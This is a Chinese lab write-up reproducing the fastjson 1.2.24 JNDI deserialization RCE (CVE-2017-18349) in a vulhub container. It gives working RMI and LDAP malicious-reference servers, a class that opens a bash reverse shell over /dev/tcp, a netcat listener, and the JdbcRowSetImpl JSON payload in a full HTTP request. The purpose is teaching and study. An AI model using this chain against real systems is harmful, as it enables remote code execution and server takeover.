fastjson1.2.24CVE-2017-18349漏洞复现
- 手机
- 2025-09-12 21:06:01

fastjson1.2.24 CVE-2017-18349 漏洞复现
时间不等人啊/(ㄒoㄒ)/~~
0. 前置知识建议直接看参考链接
JNDI:Java命名和目录接口
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
CORBA:公共对象请求代理体系结构
1. jndiJNDI InitialContext类
构造方法
InitialContext() 构建一个初始上下文。(获取初始目录环境) InitialContext(boolean lazy) 构造一个初始上下文,并选择不初始化它。 InitialContext(Hashtable<?,?> environment) 使用提供的环境构建初始上下文。常用方法
bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。示例
import javax.naming.InitialContext; import javax.naming.NamingException; public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }Reference类
构造方法
Reference(String className) 为类名为“className”的对象构造一个新的引用。 Reference(String className, RefAddr addr) 为类名为“className”的对象和地址构造一个新引用。 Reference(String className, RefAddr addr, String factory, String factoryLocation) 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className, String factory, String factoryLocation) 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。示例
String url = "http://127.0.0.1:8080"; Reference reference = new Reference("test", "test", url);参数1:className – 远程加载时所使用的类名
参数2:Factory – 加载的class中需要实例化类的名称
参数3:FactoryLocation – 提供classes数据的地址可以是*file/ftp/http***协议
常用方法
void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。 void add(RefAddr addr) 将地址添加到地址列表的末尾。 void clear() 从此引用中删除所有地址。 RefAddr get(int posn) 检索索引posn上的地址。 RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。 Enumeration<RefAddr> getAll() 检索本参考文献中地址的列举。 String getClassName() 检索引用引用的对象的类名。 String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。 String getFactoryClassName() 检索此引用引用对象的工厂的类名。 Object remove(int posn) 从地址列表中删除索引posn上的地址。 int size() 检索此引用中的地址数。 String toString() 生成此引用的字符串表示形式。 2. jndi注入的利用条件 客户端的lookup()方法的参数可控**服务端在使用Reference时,**Reference(String className, String factory, String factoryLocation)中,factoryLocation参数可控/可利用满足任一即可,jdk版本要求如下:
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性JDK 6u141、7u131、8u121开始:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击JDK 6u211、7u201、8u191开始:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了小迪安全里的表格
JDK6JDK7JDK8JDK11RMI可用<6u132<7u122<8u113无LDAP可用<6u211<7u201<8u191<11.0.1 3. RMI+JNDI方式RMI+JNDI注入就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
服务器端
//server.java package JNDI; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class server { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { String url = "http://127.0.0.1:8081/";//恶意代码test.class在http://127.0.0.1:8081/ Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj",referenceWrapper); System.out.println("running"); } }test.java
//test.java //不要包名 public class test { public test() throws Exception{ Runtime.getRuntime().exec("calc"); } } 编译:javac test.java 部署在web服务上:python3 -m http.server 8081 #端口根据前面服务端url的端口当客户端通过InitialContext().lookup(“rmi://127.0.0.1:8081/obj”)获取远程对象时,会执行我们的恶意代码
//client.java package JNDI; import javax.naming.InitialContext; import javax.naming.NamingException; public class client { public static void main(String[] args) throws NamingException { String url = "rmi://localhost:1099/obj"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } } 4. LDAP+JNDI方式 JDK<8u191服务端maven需要添加如下依赖:
java
<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.0</version> </dependency>服务端ldap_server.java
package JNDI; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class ldap_sever { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8081/#test"}; int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); //设置监听地址为 0.0.0.0:7777,并绑定默认的 ServerSocketFactory 和 SocketFactory。 config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));//添加一个自定义的 OperationInterceptor,用于拦截客户端的查询请求并返回恶意响应。 InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening();//启动 LDAP 服务器 } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) {//构造一个恶意的 LDAP 响应 String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString();//远程url int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ //设置为远程 URL 的 ref 部分 e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e);//发送恶意响应 result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }客户端ldap_client.java
package JNDI; import javax.naming.InitialContext; public class ldap_client { public static void main(String[] args) throws Exception{ Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc"); } } JDK >= 8u191关于JDK >= 8u191的利用目前公开有两种绕过的方法,
两种绕过⽅法如下: 1、找到⼀个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类, 并利用这个本地的 Factory 类执行命令. 2、利⽤ LDAP 直接返回⼀个恶意的序列化对象, JNDI 注⼊依然会对该对象进⾏反序列化操作, 利用反序列化 Gadget(已有代码片段) 完成命令执行. 这两种⽅式都依赖受害者本地 CLASSPATH 中环境, 需要利⽤受害者本地的 Gadget 进行攻击详见参考文章
1. 環境搭建windows环境
自行下载docker desktop
下载netcat,并添加环境变量
eternallybored.org/misc/netcat/
下载git
git-scm /downloads/win
下载vulhub
git clone github /vulhub/vulhub.git启动docker容器
C:\Users\21609\vulhub\fastjson\1.2.24-rce>docker-compose up -d在docker desktop进容器里执行命令
su find / -name "*.jar" #或者cmd终端里sudo docker exec -it 5ddafb45c605 /bin/bash java -version #可知容器jdk版本openjdk version "1.8.0_102"将文件拷贝到本地
docker cp 5ddafb45c605:/usr/src/fastjsondemo.jar fastjsondemo.jar改后缀为zip后解压,用idea打开
idea的project structure里设置jdk为jdk1.8.0_65
2. 分析该代码是一个Spring MVC控制器,主要处理JSON数据的序列化与反序列化
使用@Controller注解声明控制器类,并通过@ResponseBody实现响应体自动序列化为JSON1
双@RequestMapping通过method参数区分GET/POST请求,符合RESTful设计规范
@RequestBody接收的User对象若包含未校验字段,可能存在反序列化攻击风险
我们的payload(JdbcRowSetImpl利用链)格式如下:
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.75.180:1099/obj", "autoCommit":true } }idea裏面Navigate->Search Everywhere查找JdbcRowSetImpl,找到C:\Program Files\Java\jdk1.8.0_65\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class
conn为null,"autoCommit":true时,会调用this.conn=this.connect()
当dataSourceName不为null时,会调用lookup函数,并且获取到getDataSourceName的值
3. 采用JNDI+RMI注入我们采用JNDI+RMI注入(利用恶意序列化对象执行任意代码)的思路
恶意类
// EvilClass.java import java.lang.Runtime;//记得导入库 import java.lang.Process; public class EvilClass { static { try { // 反弹shell Process pc=Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.75.180/8088 0>&1"}); System.out.println("恶意代码已执行!"); pc.waitFor(); } catch (Exception e) { e.printStackTrace(); } } }jdk1.8.0_65将这个类编译成 .class 文件,输出到code目录下
javac C:\Users\21609\IdeaProjects\maven1\src\main\java\com\jk\web\EvilClass.java -d C:\Users\21609\Desktop\code在code目录下开cmd,启动http服务
#python3 python -m http.server 8081 #python2 #python -m SimpleHTTPServer 8081服务器端,在idea里运行
package com.jk.jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class server { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { String url = "http://192.168.75.180/";//恶意代码EvilClass.class在http://192.168.75.180:8081/ Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("EvilClass", "EvilClass", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj",referenceWrapper); System.out.println("running"); } }开个cmd,使用netcat监听8088端口
nc -lvvp 8088burpsuite抓包,send to repeater
POST / HTTP/1.1 Host: 127.0.0.1:8090 Cache-Control: max-age=0 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 131 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.75.180:1099/obj", "autoCommit":true } } 参考javasec(八)jndi注入 海屿-uf9n1x
Java反序列化之FastJson1.2.24 IDEA动态调试解析 不用再等
fastjson1.2.24CVE-2017-18349漏洞复现由讯客互联手机栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“fastjson1.2.24CVE-2017-18349漏洞复现”
下一篇
C语言数组